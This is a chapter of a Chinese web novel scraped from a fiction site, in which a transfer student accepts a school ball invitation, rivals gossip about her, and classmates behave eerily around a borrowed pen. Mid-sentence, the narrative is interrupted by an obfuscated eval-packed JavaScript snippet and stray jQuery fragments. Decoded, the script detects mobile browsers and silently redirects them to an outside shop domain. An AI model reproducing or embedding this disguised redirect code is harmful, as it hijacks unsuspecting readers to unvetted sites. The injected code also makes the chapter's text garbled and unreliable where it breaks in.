文趣网 > 都市小说 > 作为虫母的她 > 42. 第 42 章
    第二日,艾薇来到维德学院,在邮箱中看到了教务系统的舞会邀请。

    【白昼渐长,夏花盛放,校园里的仲夏浪漫已经悄然降临。现向全体同学发出邀请,邀您共赴一年一度的仲夏花园舞会。请暂别课业与忙碌,与同窗挚友共同奔赴这场夏夜之约,在舞步与欢笑中,定格属于我们的青春仲夏。

    时间:8月13日(周六)下午13:00

    地点:卡森城堡与户外花园】

    【请选择是否接受邀请:是/否】

    这是面向全体同学的邀约,时间定在下午。艾薇犹豫片刻,按下了“接受”键。

    与此同时,赛维娜花园。

    萨曼莎的手机响了起来,她打开屏幕,看到消息后,笑了一声。

    “我们那位转校生,新的金领带,接受了舞会邀请。”她勾起描画精致的红唇,长眉轻轻挑起,饶有兴致地说。

    她佩戴金色的领带,穿着深蓝色校裙,脚下踩着镶满碎钻的闪耀高跟鞋,妆容美艳,身姿婀娜,纤秾合度,显得优雅且漂亮。

    她的身旁坐着几位女生,都是黑领带,青春年少,清丽貌美。其中一人开口道:“她怎么敢来参加这种活动?交际舞步、舞会礼仪、社交辞令,她都知道吗?万一露出马脚,岂不是前功尽弃、满盘皆输?”

    萨曼莎笑起来:“这你就不晓得了,这种处心积虑、爱慕虚荣的女人,辛苦伪装这么久,总会按捺不住,想出来显摆的。这次的仲夏舞会,刚好是个机会。”

    “萨曼莎说得对,”另一人凑趣道,“如果她真像外在表现的那样,高冷疏离、清幽淡然,也就不会费尽心机地伪装金领带了。”

    萨曼莎抿一口咖啡,淡笑道:“也不算是伪装,金领带确实是学校下发的,只是她配不上罢了。”

    众人都笑起来,似乎统一了阵线。

    第一位女生说道:“她入学以来,简直把所有风头都吸过去了。那群男生就跟没见过女人似的,奉她为什么……‘公主’。呵,灰姑娘伪装的公主吗?在维德学院,唯一有资格被称为公主的,只有金领带里唯一的女生萨曼莎——当然,我说得是真正的金领带,不是那种欺瞒骗来的。”

    萨曼莎摆了摆手,似乎不在意地说:“谁稀罕当什么‘公主’,被一群底层的臭虫追捧,就算再推崇赞美,也是臭气熏天。真正有继承权的女孩,都是要当女王的。”她故作淡然,姿态轻松,脸上却露出不自觉的笑容,显得颇为自得。

    “其实,她就算是伪装金领带,我也未必要揭穿她,”萨曼莎放下咖啡杯,精致的粉瓷嵌花茶杯与杯碟相撞,发出清脆的响声,“可她不该勾勾搭搭,把金领带的颜面踩在脚下,来衬托自己的魅力。被奥利弗与诺兰竞相争夺,她一定得意坏了。”

    旁边的女生立刻开口,热切附和道:“诺兰明明要和萨曼莎订婚,她却横插一脚,这种心机叵测的女人……就算是欺骗,让她佩戴金领带,也是辱没了维德学院。”

    萨曼莎没有再开口,几位女生便众口一词,热烈地批判起艾薇来。说她“绿茶”、“白莲”、“贪慕虚荣”、“装模作样”、“惯当小三”、“被人包养”……许多措辞都很难听,肆意地发泄着嫉恨与恶意。

    这时,一位坐在远处角落里,始终低着头的女生突然开口,含混地问:“你们真的确定她的身份是普通人吗?她戴的珠宝、珞璃,好像都是真的。”

    她原本是萨曼莎小团体的一员,性格张扬,骄傲恣意,佩戴黑领带,并时常带领红领带“维持校园秩序”“教导同学规矩”,最近却突然沉默起来,眼睛变得黑沉无光,表情收敛,不爱讲话,像影子似的跟在她们后面。

    萨曼莎笑容微收,声音变得冷淡:“我当然确定。奥利弗和诺兰都派了人,去十六区认真调查她的来历,我拿到了第一手消息。她虽然隐藏得深,将互联网上的信息删掉了,但当地的人都没有失忆,还是会留下痕迹。”

    “她就是个普通的孤儿,没有任何来历背景,被富豪看中美色,选伴在身边,仅此而已。圣伦汀学院被虫潮袭击后,她侥幸未死,改头换面来到二区,伪装成贵族后裔,在富豪的助力下,获得了金领带。”

    那个女生问:“但那些珠宝是怎么回事?价值连城,举世罕见,即便是真正的上流阶层,也未必能佩戴。”

    空气静默一瞬,萨曼莎没有回答。

    事实上即便是她,罗兰家族名正言顺的继承人,也未必能佩戴那种等级的珠宝。倒不是罗兰家族没有钱,去买下这些举世罕见的珠宝,而是……没有必要。

    世上的珠宝有很多,每样都很漂亮,没有必要倾尽大半家财,去特地购买独一无二的珍宝。金钱本该有更正确的用途,用它生出更多的钱,而不是追求过分的奢侈和珍贵。

    但这个“正当”的理由,萨曼莎说不出来。因为在上流阶层中一直有种理论,在嘲笑普通人追求奢侈品、贪慕虚荣时,他们会说:所谓奢侈品,对属于它的阶层而言,只是日用品,只有下位者才觉得奢侈。

    倾尽家财才能购买到的奢侈品,本身就不属于你的阶层。

    萨曼莎是这一理论的忠实拥趸,数次在小团体中发表类似言论,言犹在耳。于是,她只能冷笑,淡淡地说:“这谁知道,或许有些老富豪,就愿意千金博美人一笑呢。”

    周围人都笑了起来,刻薄地评判道:“那要讨老富豪的欢心,可是不容易,要付出很多东西呢。”

    唯独那个女生没有说话,目光定定地望着在座的人,双眼漆黑无光。

    仲夏舞会安排在周末,虫巢的篝火晚会也在周末,两个活动撞到了一起。艾薇计划下午参加学校的舞会,夜晚回巢加入虫族的晚会。

    她走进教室上课,翻看书包时发现自己的笔又不见了。这是她本周第二次丢掉笔了,上次撞见卡尔被欺凌,也是她发现水笔丢失,回去教学楼寻找,才引出了后续的故事。

    但是那次,她最终也没有找到自己的笔。

    这一次,她的书包只离开视线很短的时间,是在图书馆中,她将

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553558|202354||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    书包放到座位,去书架里中找书,前后不超过五分钟。她确定自己没有拿出过笔,按理说没有丢失的可能,但现在她的笔又确确实实不见了。

    难道是……有小偷?

    艾薇满心疑惑,可她的书包中分明有更珍贵的东西,平板电脑、手机耳机,甚至随手放着一条珠宝项链。小偷为什么不拿更珍贵的东西,反而要偷一支可有可无的笔?

    艾薇翻找许久,最后不得不承认,自己确实无笔可用了。她开始回忆最近的便利店,来不来得及在上课前去一趟。

    这时,教室中一位邻近的男生问她:“艾薇同学,你是忘带笔了吗?”

    艾薇回答:“是的,我的笔不见了。”

    男生的脸上露出笑容,“我带了多余的笔,借你用可以吗?”

    “……好的,“艾薇答应下来,“谢谢你。”

    她接过他递来的笔。指尖相触刹那,男生的手指很冷,在夏天也像冰似的沁凉。

    艾薇看向男生,发现男生的额发留得很长,眉眼被遮盖在阴影里,瞳孔显得幽深而漆黑。她觉得有些奇怪,但还没来得及多想,教授便走了进来。

    艾薇立刻收敛心神,专心致志地听课。她并不知道,在她侧后方的男生此刻正以怎样贪婪的目光看着她,又是如何缓慢的、深深的吸气,攫取空气中她稀薄的、甜美的味道。

    这堂课是选修课,讲萨瓦尔文明的音乐赏析。萨瓦尔位于卡西尼大陆的西部,是如今六区和七区的所在地,习惯以竖琴、钢琴与管弦乐器表达音乐,乐章规格严谨,音律情绪饱满,格调恢宏壮阔。

    课堂氛围相对轻松,以倾听鉴赏为主,笔记也不太多。下课之后,艾薇将笔还给男生,再次道谢:“谢谢你,麻烦啦。”

    男生微笑起来,“不麻烦,应该的。”

    他收起笔,将细长的笔身攥入掌心,与皮肤紧密相贴,笑容扩大了些许。他笑得更加灿烂,也显露出些许违和,嘴角与眼睛都深深地弯着,肌肉的走向却有些怪异,仿佛不能很好地控制表情,让神态显出些刻板僵硬。

    艾薇没有多看,很快离开了教室。

    但在走廊里,她回忆起男同学的温度、笑容与眼睛,却越来越觉得奇怪,甚至异常。

    这位男同学的样貌分明从未见过,但他的神态却与卡尔莫名相像,如出一辙。

    ……怎么回事?他们是生病了吗?

    怀着这样的疑窦,艾薇决定返回教室,再观察一下那位同学。

    然后,她便见到了此生难忘的诡异场景:

    四五个男生凑在一起,肩膀紧挨着肩膀,脑袋贴近,仿佛最亲密的连体婴,密不可分。他们共同捧着一支笔,将其高高举起,凑到鼻尖,热切地嗅闻着,神态扭曲且迷醉,仿佛吸食违禁药物的瘾君子,从禁忌的物品中获得着狂乱的快乐。

    那副完全扭曲的表情,简直就像五官要融化了,难以想象竟能出现在人类的脸上。

    ——而那支笔,是她刚刚借来,用了一节课的笔。